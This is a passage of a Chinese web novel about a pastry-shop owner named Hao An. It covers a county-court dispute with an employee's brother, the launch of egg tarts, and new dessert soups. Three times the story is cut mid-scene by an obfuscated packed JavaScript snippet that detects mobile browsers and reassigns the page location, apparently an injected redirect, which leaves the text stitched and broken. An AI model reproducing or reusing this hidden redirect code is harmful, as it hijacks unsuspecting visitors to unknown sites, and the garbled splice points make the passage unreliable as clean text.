谢宗林准备和好安一起去，可拐出巷子就看见吴达在好记门口鬼鬼祟祟地张望。 “你留下吧。”好安说道。 “行。”谢宗林把推车让给好安，特意从吴达面前路过一下才进了好记。 好安回来的时候吴达已经没了身影，但吴月的脸色很不好看。 “发生什么事了吗？”好安有到收银台问道。 “刚刚吴达把吴月拉出去说话了，回来后吴月就心事重重的。” “没了？” 谢宗林摇摇头后又补充道：“吴达还瞪了我一眼。” 第二天一早，要把刚做好的点心放进展示柜。 王秀想一次性拿完，便把多出几袋的黄油年糕搭在一个盘子上，提醒道：“这个有些重。” 吴月嘴上说着没事，可接过的时候左手没接稳，幸亏好安眼疾手快扶住了。 好安把吴月拉到一旁问道：“你左胳膊怎么了？” “就被撞了一下。”吴月捂着胳膊，小声说道：“我后面会注意的。” 现在天冷了，不像夏天，袖子一撸能到胳膊，好记的员工服又是平口箭袖，不方便查看。但撞一下可不会连一盘点心都拿不住。 “你想去云台寺吗？”好安忽然问道：“好记在那有个档口，活也不重，可以包吃住。这样你也不用住家里，离你哥远远的。” “工钱还是一样的，就是吃的清淡。”好安补充道。 吴月一听到能离她哥远远的，赶紧点头答应了。 中午，好安让谢宗林多做了一盆的水煮鱼片亲自送去王记。 今年云台寺斋饭依旧是王记中选。如果把吴月安排去云台寺，她就要住到云台寺的厢房。但一个人，还是让人不放心。好安想问问王记能不能也调个婆子过去，两人多少有个照应。 调个粗使婆子也不是什么大事，还有一盆水煮鱼片做贿，王宁很痛快地答应了。 好安一回来就让吴月今晚回去收拾一下，明早出发。 ———— 第二天，好记刚开门，忽然衙门的人找上来了。 好安连忙从收银台下的钱桶里拿了几个碎银子，趁没人注意塞给了来人，问道：“请问这位差爷县令大人唤我何事？” 衙役摸了摸，是银子，心里十分满意，于是小声说道：“好像是什么打人。” 打人？ 好安一头雾水，但这也不妨碍她先安排好店里的事。 银子的威力就是大，衙役见好安没跑的意思，也没拦着。 好安和衙役刚踏出铺子，谢宗林忧心忡忡地跟在后面。 “你跟着干嘛？你去店里等吴月，她到了的话，送她去云台寺。”好安安抚道：“我过会就回来了。” 衙役忽然插话道：“吴月？吴月今天估计来不了。” 好安：“？” “就是她家告的你呀！” 这回好安实打实的呆住。 “走啦。”衙役说道：“你也别跟着了，她要是没事中午还能赶回来吃午饭，要是有事你跟着也没用，还不如去搬救兵。” “你先去看店吧。”好安给谢宗林递了个眼色。 万和县的衙门盖得威武，跨进大门便是正堂，吴家四口整齐的在堂下站着。 “大人，就是她。”吴达指着好安说道。 好安也不理睬，找了个离他们远远的位置站定。 “大人，好安带到。”衙役说完便走到一侧。 堂上，县令高坐，头戴乌纱，面无表情的看着堂下众人，旁边的书吏手里已经拿好笔随时准备记录。 “啪”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15167034|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊堂木落下，县令高声问道：“好安，你可知罪？” 好安道：“回大人，民女不知。” “有人告你无缘无故殴打良民，你可认罪。”县令话音刚落，吴达便迫不及待道：“不止她，还有一个人，他怎么没来？” 县令看了眼衙役，衙役回道：“状书上只有好安一个名字。” “漏了，小的不知道他名字就没写。”吴达谄媚道。 好安心一紧，面色微沉。谢宗林什么身份，根本不能上公堂， 县令正要让衙役再跑一趟，好安忽然道：“没必要，如果他说的是三四天前下午在好记后院被打一事，是真的。” 可县令坚决要传唤，已经差人去了。 好安的这副表情落在吴达眼里是另一番意思。 “大人，你看她认了，赔钱。”吴达理直气壮道。 好安不耐烦，但脸上还是保持沉静：“我已经赔过了。打完后我深刻意识到自己的不对，内心充满忏悔，立马就把他送去医馆了。” 吴达：“她瞎说。他们把我打晕后直接仍在大街上，是我自己爬回家的！” “哦？你下巴难受吗？”好安忽然问道。 “不啊。”吴达摸了摸下颚，一时不解。 “哦，那没问题了。你怎么证明是我直接把你仍街上了？” “我要什么证明？我自己的事我不知道吗？” 好安点点头，说道：“意思是你没有证人？” “当然有。”吴达昂头道：“收金水的老驼背可以给我作证，是他看到我躺在地上把我扶起来的。” “巧了，我也有。”好安看向县令，道：“济善堂的三位大夫，两个学徒都是我的证人。” 吴达有些不可思议，像是完全不记得发生过什么。 县令依照流程把双方的证人都唤到。 时间不久，济善堂的大夫对吴达印象清晰。 “那天他醉晕了，身上有几处外伤，不严重，我给他上完药回头他就不见了。” 老驼背：“我那天看他在路边，我就把他摇醒了，其他我什么都不知道啊。” “那也得赔钱！”吴达不服，捂着身上道：“我就是因为被你们打，这几天都没力气，还刮到手了，几天不能干活。要不是因为你，我才不会这样。你要赔我药钱和这几天工钱。” “不应该啊。”济善堂来的大夫在县里颇有名望，立刻凑上前去，要扒开他的衣服看看，被吴达躲开。 “可以，但我们算互殴。我们两个人也受伤了，他还砸了我一柜子的点心，他赔我的，我就赔他的。” “她先赔，我伤的重。” “他先赔，他先动手的” “够了。”县令不耐烦：“还有一人怎么没来？” “来了来了。”两个衙役扛着一个担架来了。 之间谢宗林躺在担架上绑得严严实实，像个木乃伊，只有眼睛露出一条缝。好安见了都大吃一惊。 但她很快反应过来，道：“因为前几天互殴，这几天他都没力气，干活的时候受伤了，几天不能干活。要不是因为你，他才不会这样。你要赔药钱和这几天工钱。” 济善堂的大夫：“我来看看。” 好安暗戳戳上前拦住。 “赔啊。” 谢宗林这伤看着比吴达重多了。吴达面露愠色，只恨自己自己的伤口划得太小。 县令：“现在双方都在，是要本官判还是你们协商？” “协商！”吴达连忙说道。 好安不想让谢宗林在衙门上久留，便点头同意准备撤了。 吴月她爹却忽然站了出来，说道：“别走，还没完。” 51. 蛋挞 “她不守契书，要解雇我闺女！”吴月她爹莫名来了一句。 “我从没说过。”好安即刻否定。 “大人，她一直在刁难我闺女。先是克扣工钱，今天还要把我闺女送去云台寺。”吴月她爹指着好安道：“云台寺都是和尚，没一个女的。把我闺女送过去让我们做父母的怎么放心。我看她就是想解雇我闺女，但又不想备偿，才出的这个馊主意。” 县令：“好安你作何解释？” “污蔑。”好安平静道。 “什么污蔑！你亲口说这个月要少发一百文。”吴达像是想起了什么，开口说道。 “因为你来店里闹事，推翻了一柜子的点心，那是赔偿金。” “那也不是她推翻的，你凭什么扣她的工钱！”吴达点了点担架上谢宗林道：“那是我和他打架打翻的，你应该扣他的。” “……” 不得不说，吴达说的有点道理。 吴月不是闹事者，最多负间接责任。 好安：“我可以不扣吴月工钱，那你赔啊，一百文。” “你说一百文就一百文？”吴达眯着眼道。 “一百文是我和吴月协商后的金额。是双方同意的。”好安无语的看向县令。 “什么同意不同意，你是东家，她敢不同意？”吴达吐沫星飞起：“还一百文，分明就是想克扣工钱。” “这个价格很合理，我一柜子的点心成本价都不止一百文。吴月赔是员工价，你赔就是另外的价钱了。” “证据呢？你说一柜子一百文就一百文？”吴达兴奋道：“大人，她就是看我妹不懂漫天要价。” “什么证据？是你在告我，你怀疑我一柜子没有一百文，你证据呢？” “我有！”吴达得意道：“我妹就是证据。” 县令看向一直现在最边上的人问道：“吴月。” 吴达侧头小声地飘一句：“怎么说你心里清楚。” 在大晏，克扣工钱会根据金额有不同的惩罚。吴月要是站在吴达这边，一百文金额不大，而且这个行为还没发生，好安都不用罚钱，只是于名声不利。吴月要是站在好安这边，吴达就是造谣诬告，罪名比克扣工钱重。 吴月头垂得更低了，整个人抖得跟筛糠一样。吴达一副好哥哥模样，说道：“妹妹大胆说，哥哥、爹娘都在呢，还能怕她一个乡下人。” 好安见吴月迟迟不说话，脸逐渐黑了下来。 “啪”。 惊堂木又响。 县令问道：“吴月回话。” 吴月颤抖地摇了摇头，带着哭腔道：“我不知道。” “大人，你看！”吴达一副小人得志的模样。 县令的目光扫到好安。 好安冷着脸看了吴月一眼，道：“清理的时候店里的其他人也在，她们知道可以作证这个价格是公正的。” 吴达：“你店里的人当然偏向你，不作数。” “那你怎么证明你妹妹就没偏向你？”好安反问道。 “我……” “大人。”好安看向县令，一点都不想看见吴达那副嘴脸：“好记自从开业以来从未克扣过工钱，每次发放都是我亲自盯着，每一笔都清清楚楚。” “今日吴达来告，先是打人，他见自己讨不到好便想私下协商，我看在吴月的面子上，不计较同意协商。现在说我克扣工钱，又没有证据。还有备偿，莫须有的事也朝我头上安。他还看不起乡下人，这天底下谁祖上没在乡下呆过。我看他句句不离钱，分明就是觉得我是一个小娘子好欺负，想讹钱。还望大人为我做主。” 吴达一下急了：“谁讹钱了，你就是想让她主动不干了。” “寺庙是没女香客还是没厢房？我送她过去包吃包住也没降工钱，怎么就逼她不干了？当事人一言不发你在这跳什么跳？”好安憋了半天，来火道：“张口钱闭口钱，我又没少吴月工钱，关你什么事？怎么？不想让你妹在我这干了？想捞笔备偿金？你莫不是在外面欠了什么债，想用你妹备偿金来抵吧。你要是不清楚自己什么人就撒泡尿照照。” “我，我没欠……” “啪”。 “肃静。”县令脸色不变，但眼里流露出一丝不耐烦。吴达给衙门修过东西，听说是个老实憨厚的，他便想着帮衬一把，结果说的都是些什么乱七八糟的东西。没发生的事情，也没证据就乱扯一通。 县令：“吴达你还有话要说？” “我，我。”吴达急得一时说不出话来。 “你今日所诉之状证据不足，无法认定，暂且作罢。退堂！”县令也不给吴达反映的机会，麻溜走了。 “有证据上证据，没证据洗洗回家睡吧，梦里什么都有。” 说着好安随意的从撕了谢宗林身上的一块边角料，递给吴达道：“赔偿，够你裹手指头的了。” 吴达气得双眼通红，可两边还有衙役他只能阴恻恻的盯着好安，牙缝里挤出一句：“不用。” 好安转头说道：“他说不用赔偿。二位差爷可都听到了。” 差爷点点头，随后好安对着吴达道：“我大度，你那三瓜两枣我也不要了。” 日光斜了斜，好安看向外面的日晷，又看了看头快要垂到肚子上的吴月，沉默片刻道：“有人已经迟到一个半时辰了。” 吴月愣了一下，猛得拿起地上的包裹跑到好安身后。 “你敢！”吴达吼道。 “哎呀，都是误会。”吴月她娘一边老不要脸的说道，一边拽了拽吴达：“多一个赚钱也是好的。” 说到钱，吴达的忍不住捏了捏拳头。 回到后院，谢宗林立马解了绑带，看着地上像小山一样碎布，他忍不住叹了一口气：“浪费了。” 吴月则拎着包裹站在牛车旁，一声不吭。 “你先去忙，云台寺等吃完午饭再去。”好安冷声道，转头进了厨房。 厨房的灶台都是冷的，谢宗林一边起火，一边道：“吴达就是个小人，你最近出门记得把我带着。” “吴达蹦哒不了几天。”好安舀了一瓢清水，“他肯定在外面闯祸了，急用钱摆平急坏了脑子。” “那吴月呢？”谢宗林问道。 都闹上公堂了，说没有隔阂是假的。 “她签了一年。先让她去云台寺呆一阵子，到期了看表现吧。” 现在解除雇佣关系她回去也不好过，而且这不就如吴达愿了吗。她既然选择跟她后面回来就先让她干着吧。 果不其然，没几天吴达被人打断了一条腿。至于什么原因好安没兴趣知道。她关心的是十月二十二越来越近了，但王宁那边一直没有消息传来。 早上，空气中已经带了寒气。 好安伸手去窗外试了试温度，回房给自己添了一件薄袄。 谢宗林效率极佳，不仅好安收到几套，店里的员工冬装也赶制出来了。至少给好安省了一两银子。 优秀员工要有奖励，好安今天放他一天假。 穿好衣服，揣上铜板。她今天要去买几个筛子。刚踏出房门，谢宗林已经在院子里站着。 “你不睡早觉吗？”好安面带惊奇。 要是让她休一天，她能睡到日上三竿。 “不是说家里的筛子坏了吗？”谢宗林顿了顿，声音略带紧张道：“我们一起去买。” “你今天放假，不需要跟在我……” “我没事，反正我在家没事。”谢宗林连忙插道。 好吧，这么热爱工作的员工让人无法拒绝。 于是好安照旧把篮子递了过去。 天冷了，街上的人明显少了很多。气温明明没低到那个程度，但没有太阳，总觉得阴湿湿的。好安买好东西便急着朝家赶。 忽然对面走来四个挂着黑眼圈的衙役。 托吴达的福，她现在和衙门的蟹兵蟹将们关系不错。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178284|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “早。”好安挥了挥胳膊。 “好老板这么早就起来啦。”有来的几个都是老熟人。 “你们更早。这是办完差刚回来吧。真是辛苦啊。”这四人看着方向是朝衙门赶。 “来接人的。”说话人也没隐瞒，道：“还是为了之前采花贼的事。” “还没抓到？”好安问道。 县里最近很太平，没听说谁家出事。 “一直没被抓住，最近还流串到隔壁县了。” 衙役叹了口气，又松了口气。去了别的县就不归他们管了，他们日夜颠倒守了十几天终于能喘口气了。 好安：“这贼长翅膀了？” “或许是吧。”说话的人伸了伸胳膊，道：“不聊了，我们还要回去做交接。”说完，抬脚露出身后的人。 好安看清后瞬时睁大双眼。 是高田县的衙役，还是之前来抓谢宗林的那个。 她想看向谢宗林，可硬生生忍住了。 现在大伙目光都在她身上，不能朝别处引。 “你们认识？” 好安如此明显的瞳孔地震，不是瞎子都能看见。 “见过一面。”好安和高田县的衙役异口同声。 可好安的脸色并不好看。 “咋了？”万和县的衙役小声问道。 好安尴尬的笑了笑，悄悄回道：“我最穷的的时候见过一面。” 懂。 碰上见过自己丑态的人谁都尴尬。 万和县的衙役赶紧带着高田县的走了。 好安的心砰砰直跳，谢宗林反到一脸淡定。 “他没认出我。” “你怎么确定？” “他就扫了我一眼。” “真的？” “真的。” 回到家好安久久不能平静，谢宗林却像个没事人，拿着一个大小从没见过的筛子问道：“这是干什么的？” “做蛋挞用的。”好安机械答道。 “蛋挞是什么？好吃吗？”谢宗林想转移好安注意力。 “好吃。” “那赶紧做吧，最近没什么新品，好多客户都问呢。” “今天出新品。”好安稍稍回神。 她看了看桌上的面团，这个是本打算做蝴蝶酥，也能用来做蛋挞皮。 忙起来，好安便没心思想七想八。 鸡蛋去清留黄，兑牛奶和糖。然后搅拌均匀多次过筛。 蛋挞液做得好就是滑滑嫩嫩的完美挞心，做不好就是千穿百孔的鸡蛋羹。 其中最重要的一步就是静置。 蛋挞液通过静置充分乳化，消除内里的气泡。 一桶蛋挞液从早上静置到中午。 等吃过午饭，好安先在蛋挞皮里放入烘焙石，也就是好安攒的小块的鹅卵石，可以防止蛋挞皮凸起。 蛋挞皮烤好后再倒入蛋挞液。这样不论起酥效果还是颜色都是最完美的。 挞皮层层叠叠微微蜷曲，挞心柔嫩饱满分布着焦糖色的斑点。再配上霸道的奶香，勾得人口水直流。 蛋挞一出，店里不少顾客都伸长脖子看过来。 “这什么呀，真香。” “出新品喽！” “老板我要十个。” 别人还在闻的时候，已经有人试图先下手为强。 “蛋挞每次限购两个。”好安笑眯眯道。 “老板你太不够意思了吧，这么多呢，怎么就限购了呢。”离蛋挞最近的小郎君不服气，他都准备直接一盘端走。 “这么做着麻烦，一天只能做这么多。我也是希望大家都能尝到。”好安睁眼说瞎话。 “对啊，必须限购。” 有些老客户吃过铜锣烧的亏，他们宁可每天少买些也不想买不到。 有的客户不说话，已经默默的给自己夹了两个。老板说的是每次限购两个，只要他手脚够快，一天七次不成问题。 52. 白果腐竹糖水 自从吃过一次铜锣烧，王二就变成好记的忠实粉丝，只要推出新品必定买来尝尝。 作为过来人，一听限购立刻敲响警钟。 那黄灿灿的蛋挞只有掌心大，两口就没了。两个才哪到哪，要是有人帮忙排队就好了。 王二勾着脖子看了一圈，只见三个小郎君倚在好记的外墙上，一边数铜板，一边小声嘀咕着啥。 王二瞄了一眼他们手里的铜板。 啧，钱不够呀。 天赐良机。 于是，王二：“三位小郎君。” 没人睬。 “三位数钱，钱不够的小郎君。” 瞬间，王二接收到三股充满怨念的目光，但他不在乎并十分开心的朝他们招了招手，道：“想吃蛋挞吗？帮我一个忙，我就给你们凑上。” “他说给我们钱哎！” “真的假的？” “上去问问不就知道了。” “可他怎么笑得这么猥琐。” 三个小郎君十分心动，衡量一番后还是决定上前。 王二问道：“你们还差多少？” “六文钱。”个头最高的小郎君郑云飞回道。 “你们仨今天每人帮我排队买两个蛋挞，我就给你们六文钱如何？” “那我们今天不就买不到蛋挞了？”另一个小郎君撅起嘴巴，满脸的不愿意。 “你们没钱，排了也买不了啊。”王二指了指他们得钱袋子，说道：“每次限购，不是每人限购。你们帮我买了，回头有钱了，不就可以给自己买了嘛。” 好像是哦。 三个小郎君互看了一眼，随后点点头跑去队伍的最后面。 王二美滋滋地数了数人头，又数了数柜子里的蛋挞。 不错，今天能买到八个！ 周娟也站在好记门口，一边记人头，一边道：“只有买蛋挞的需要排队，其他的不用排队，可以直接进店购买。” 一手交钱一手交货，队伍移动的很快，王二一下收到了八个蛋挞。 这一幕被有心人看在眼里，纷纷对着那三个小郎君说道：“快帮我排，我也给钱！” 郑云飞眼珠一转，似有一窍忽然通了，竖起两个手指道：“行，但一个蛋挞收两文钱。” “行！我要两个。” “我也要四个。” 能舍得买蛋挞的都不差这点钱，价格翻倍了也依旧抢手。 一息间，六个蛋挞名额便被订满，万和县第一黄牛就此诞生。 三个小郎君原本只打算一人买一个，结果回去的时候每人手里都拎着俩。 “你说这种好事明天还有吗？” “明天也限购吗？” “应该吧，我们明早再来看看！” 好记要是每样都限购那该多好啊。 郑云飞回到家门口，先是探头看看家里有没有人。 很好，他爹不在，赶紧开炫。 他小心翼翼的从油纸带里抽出一个蛋挞。一手捏着两侧的酥皮，一手捧在蛋挞下方。 只听“咔哒”一声，牙齿碰到了焦脆的酥皮，随即是软嫩的挞心。 “嘶——” 有一点点烫，但真香。 郑云飞爱吃鸡蛋羹，这一下更是止不住。 一口，一口，一口，没了。 郑云飞吸掉手心的渣渣，正准备再吃一个时，门突然响了。 他一下跳了起来，他之前牙疼，爹娘让他三个月不吃甜食，还剩的这个要赶紧藏起来。 眼看脚步声越来越近，郑云飞根本来不及藏回屋，只好随手塞到一个花瓶背后。 “你功课写完了。”郑父一进门便闻到了浓浓的奶香味，但他没说反而突然问起儿子功课。 “写完了。”郑云飞昂首挺重，就是嘴巴油亮亮的。 “去拿给我看看。”郑父挥手道。 郑云飞：“看就看。” 他学业上从不偷懒。 郑云飞前脚刚走，郑父后脚就翻出蛋挞。 这油纸袋一看就是好记的，今天太忙，还没来的去，没想到出了新品。 为了儿子的牙着想，这份疼痛就让为父来承受吧。 一口下去，还剩个边。 又香又脆有嫩，真不错。 眼看最后一点点边就要落入父口，郑父却突然停下来。猛地把边边扔给脚旁的狗子，顺带把油纸也撕烂扔在地上，然后飞速拿起一本书，躲在书后偷偷抹了抹嘴。 “喏，我今天——”郑云飞话没说完，却突然发出尖锐爆鸣：“大黄你在吃什么！” “怎么了，喊这么大声？”郑父皱眉，一副不知其然的模样。 “哎，大黄你哪翻出的油纸袋，这个不能吃。”说着把油纸袋从狗嘴里夺下，递给郑云飞，道：“赶紧扔了。” ———— 申时一过，太阳西落。好安这样关门数钱，王宁忽然冒了出来。 好安：“晚餐二十文一人。” 自从上次送了一盆的水煮鱼片，王宁已经几天没上门了，二十文的外快就这样没了。 也不知道是不是被猎奇厨子尝出来了，但最近没听说王记上新菜。 王宁连忙摆摆手，凑近了道：“我有一个坏消息，和一个好的消息。你要先听哪一个？” “寿宴的事情有结果？！”好安忽然两眼放光。 “有了。但是……”王宁抿嘴，用扇子敲了敲肩膀。 “没成？”好安一下耷拉下来。 王宁：“坏消息就是这个，点心的事没成。但不是还有一个好消息吗？” “啥好消息？”好安丧丧的。 “当当当！”王宁“唰”一下从怀里掏出一张红底烫金的请帖，得意道：“这是不是绝好的消息？为了这张请帖我可是废了老大劲。” 废老大劲讨好他哥。 “这个不比做点心好。到时候我带你多认识些人，所以那个冰粉方子……” 好安接过，打开瞅了瞅道：“字不错。但这是两码事吧。一个我能赚钱，一个我要花——” “等下，我去的话是不是要送礼！” 王宁打量了好安一眼，狐疑道：“我俩这关系你不会不想送礼吧！” “送，必须送，还要送个大的。”好安笑眯眯道：“你们大户人家是不是专门有一趴展示礼物？” “什么趴？” 好安解释道：“环节，专门展示礼物的环节。” 王宁：“当然有，但大部分都是自家小辈。” “一定要自家的？” “也不是，一些家里关系不错的也行。”王宁想了想说道。 “你看咱俩关系如何？”好安冲王宁扬了扬眉。 “咱俩关系是不错，但……” “没有但是，就咱俩这关系，好记和王记这关系。冰粉连冰粉，不是一家人，胜似一家人。”好安说着双手比了个心。 “好像有点没道理的道理，这个我回去问问。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15191684|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王宁刚准备离开又忽然折返，问道：“你准备送什么？” “吃的啊。”说着，好安用手比划了一个超级大的圈，道：“一个前所未有惊艳全场的吃食。” “行！我现在就回去帮你安排。” 王宁带着一个好消息来，又带着一个任务回家了。 回到后院，今天不知怎么了，忽然回温，仿佛秋天还没结束，燥得慌。 好安去厨房去厨房晃了晃，谢宗林正在揉面。 谢宗林：“今晚吃鸡蛋手擀面。” 好安一边点头，一边摸了摸肚子，好像不饿，但嘴巴干干的有点寂寞。 她转身去柜子里搜了搜，看看有没有什么小零嘴甜甜嘴。 一桶泡好的黄豆，准备发豆芽。 一沓腐竹，之前卤肉夹馍剩的。 一袋银杏，隔壁邻居送的。 她好像知道吃啥了——白果腐竹糖水！ 润肺降燥还美容养颜。 好安从袋子里舀了满满一碗白果放入锅里，加水煮上。 煮过的白果不仅外壳会变软更容易剥，还可以去除一些毒素。 白果不能煮久，片刻即可。 好安一边捞白果，一边冲屋外喊道：“好昕~” “来了！” 好昕像头小牛犊一样冲了进来。 “来，剥它。”说着，好安递给他一副手套。自己开始磨豆浆。 大的石磨笨重，费力，才绕上几圈好安就觉胳膊发酸。 “我来吧。”谢宗林的面团已经擀好，就差切了。 “你来，我切面。”好安巴不得如此。 谢宗林真是铺子里的头号优秀员工。 白果剥好去芯后表皮上还粘有一点外皮，好安又用水搓了搓。 这个皮是万万不能留的，会苦。 白果、薏米先入锅煮上两刻钟，随后加入一部分泡好的腐竹和滤好的豆浆。煮到腐竹软烂，在加入剩下的腐竹、冰糖和鸡蛋。 糖水好了，面条也好了。 好昕拿着碗巴巴的在旁边等着。 “你是要鸡蛋手擀面，还是要糖水？” “都要！” 空气中是有面香、豆香、米香和白果的清香，好昕一个也不想错过。 “你呢，都要吗？”好安问谢宗林。 谢宗林点点头。 好安亲手做的东西他都要尝尝！ 天黑了，三人就围在厨房的小桌上吃。 除了好安面前没有手擀面，其他两人一碗糖水一碗面。 好昕左边一口面，右边一口糖水，吃得津津有味。 “这样好吃吗？”好安不理解。 “好吃！姐姐你要不要也来一份。” “不用！”好安连忙阻止。 糖水配面条，怎看怎邪门。 腐竹在泡煮过程中吸饱了水份，变得软剥滑嫰。一口下去甜而不腻，豆香满满。 最近又银杏当季，好安考虑要不要在好记也推出白果腐竹糖水。 好记目前糖水只有冰粉和奶茶。其中冰粉被王记分流了一部分，奶茶又方便携带，所以常常一楼宾客如云，但二楼却坐不满。 等天再冷一点，火墙烧起来，一碗糖水，一份点心岂不美滋滋！ “干！”好安忽然拍了一下桌子，拿出剩下的白果道：“今晚我们把它都剥壳，后天铺子上架白果腐竹糖水！” 为什么是后天呢？因为明天她要找好明辉画宣传单！ 53. 花芝露 好安麻利地指挥谢宗林和好昕做了一个三角画架当广告牌。 中间再放上一块木板，木板上夹一张宣纸，随用随换方便得很。 两日后，好记门口多了一个牌子。牌子上画了三种糖水。 白果腐竹糖水、杏芝露、红豆双皮奶。 每个字都认识，但连起来咋就不认识了呢？ “白果我知道，但这个腐竹是什么东西？” “腐烂的竹子？” “那玩意也不能吃啊。” “腐竹我知道！”一个年轻都小郎君得意道。 他往日里话多，去哪都要侃天侃地的拉别人聊两句。前几日他去云台寺求签，便在那吃了斋饭。 有一个档口卖什么馍，里面夹了好多菜，其中有一个皱巴巴的东西。看着像什么东西的皮，一块一块的，吃起来却柔软嫩滑，还有带点嚼劲。 他吃着好奇就问了档口的人，档口的人说是腐竹。 “那你说腐竹是什么？”周围人问道。 问道难点了。 腐竹是什么，他也不知道，他只是吃过。 可话已经说了，再说不知道太丢脸了，而且这么多人呢，小郎君只好硬着头皮到：“是皮，一种皮！” 豆浆皮也是皮，某些方面也算误打误撞。 “什么皮？”有人追问道。 小郎君抱胸道：“什么皮你去吃不就知道了。”说完，便跑进店里点了一份糖水，远离人群。 “这个花芝露，是花茶吗？” “怎么没每碗不一样呢？” 花芝露的图纸上画了好几个花纹，有太极图，有树叶枝、还有狸奴大头画…… 其实花芝露是缩写，全名花生糊芝麻糊双拼。 至于图案不同，纯属好安想过把拉花的瘾。 …… 三种糖水，红豆双皮奶是最抽象的。 图片上除了最上面画了颗颗分明的红豆，其他什么也看不出。 “肯定有奶！” “废话。” “是奶的话红豆怎么画在上面呢？不应该沉底吗？” “有道理。” …… 有人看着好奇就进店点上一份，有人就单纯好奇，光看不买。好安也不撵，人都爱看热闹随大流，人越多吸引的人也越多。 今天休假，赵瑾轩一早哼着小曲来了。看着画板四周围一层又一层的人，顿时挺直了身板。 哼，他都吃过了！ 他骄傲！ 二楼的包厢已经坐满，赵瑾轩也不在乎。 哼，他享受过了！ 他自豪！ ———— “请问，这里怎么点单？” 周娟转头，问话的是一个小娘子。手里搀着一个七八岁的孩子，怀里抱着一个牙牙学语的奶娃娃。 “点心的话可以自行挑选。糖水可以直接到前面的收银台点单或者先上二楼找座位再点单。过会有专人送过去。” 为了方便堂食的客人，好安还做了一份菜单，专门放在二楼。 周娟一边举起胳膊为这仨位开路，一边继续介绍道：“今天购买新推出的糖水会随机赠送一份小点心哦。” 说着周娟把人引来收银台。 “这三种糖水有适合孩子吃的吗？” “有。”好安头未转，声先达。 吴月调去云台寺后，她也没把余二壮调回来。一是吴月素夹馍手艺有待提高，二是觉明略通医理能照看余三妞。 少了一人，又推出新品活动，好安便不得闲，要站在收银台后卖糖水。 红豆双皮奶是直接一碗一碗蒸好的，最是方便。白果腐竹糖水装在一个大木桶里，谁点就舀一份。 最难的是花芝露。别的图案不提，看起来最简单的太极图也十分考验技术。 要左右手一起开工，而且花生糊和芝麻糊的速度要保持一致，不然一边多一边少，太极极容易变形。 “自己会用勺子的推荐红豆双皮奶，奶味浓郁，香滑润口。不会用勺子的推荐花芝露，这个主要是花生糊和芝麻糊，小娃娃喝不容易噎着。” 小娘子：“行，这两样都来一份。” “一共二十文钱，花芝露要什么图。”谢宗林接过铜板，问道。 小娘子稍微思考了一下，问道：“不同图口味也会不同吗？” “不会差太大，第一次吃不知道怎么点的话建议选择太极图。花生糊和芝麻糊量比较均衡。” “那就太极花芝露。”小娘子腼腆的笑了笑。 好安面带微笑地递上一个号码牌，号码牌上挂着两个颜色不同别扣：“餐号三十八，请上二楼等待，稍后有专人送去。” 小娘子看着手里的牌子有些不解，但有人在前面引路便也没问，跟着走了。 周娟帮三人选了一个宽敞且远离窗口和楼梯的座位，便于她带孩子。 小娘子是北方来的，第一次来江南，便被一些细节震撼到了。 座椅上铺着软垫，桌子上还放着银杏叶子做的玫瑰花束。墙上挂着香包，也不知这里放了什么，闻着让人神清气爽。 没一会便有人上餐。 “三十八号一份红豆双皮奶，一份太极花芝露，送一份葱油桃酥，一份钵仔糕。” 端点心的是个新来的小伙，最大的特点是大嗓门、长得俊。 正常说话一丈外都能听见，一拔高嗓门便轻轻松松传遍整层楼。 “这个干桂花是做什么的？”小娘子坐在最外面，把两个孩子放在里侧。 “干桂花和太极花芝露是一套，吃的时候洒在上面。”陈卫笑着道：“花芝露，花芝露总得有花不是。” 小娘子跟着点点头，一副恍然大悟的模样，心道：这南方的糖水点心就是不一样，小巧精致。喝个糖水像绣花一样，讲究搭配。 不过是真好看。 芝麻如墨花生如玉，二者相互交融，形成一副流动的太极图。 撒完桂花，她轻轻的用勺子搅拌一下。两种颜色迥异的糊糊没有立刻融在一起，反而跟着她的勺子画圈打转，绕成一个层层分明的螺旋圈。 好玩，好像自己在作画！ 勺子轻轻往上一撇，带出一个小角，像一片树叶的尖尖。 大一点的孩子看着好奇，拿着钵仔糕上面的竹签也在花芝糊上轻轻的画了两笔：“是月牙！” 两人越画越着迷，直到最小的那个看他们不带自己玩，忍不住喊出声来二人才回神。 小娘子看了看已经无处下笔的花芝露，道：“开吃吧！” 芝麻和花生的颗粒感尽数磨去，只留下五谷的香气。 “呼——”小娘子舀了一勺，轻轻吹了吹，然后送到小娃娃嘴边。 “啊呜。” 不用劝饭，小娃娃已经早早撅着嘴巴张开。 “好吃吗？” “吃吃吃！”小娃娃激动地拍了拍桌子并张大了嘴巴。 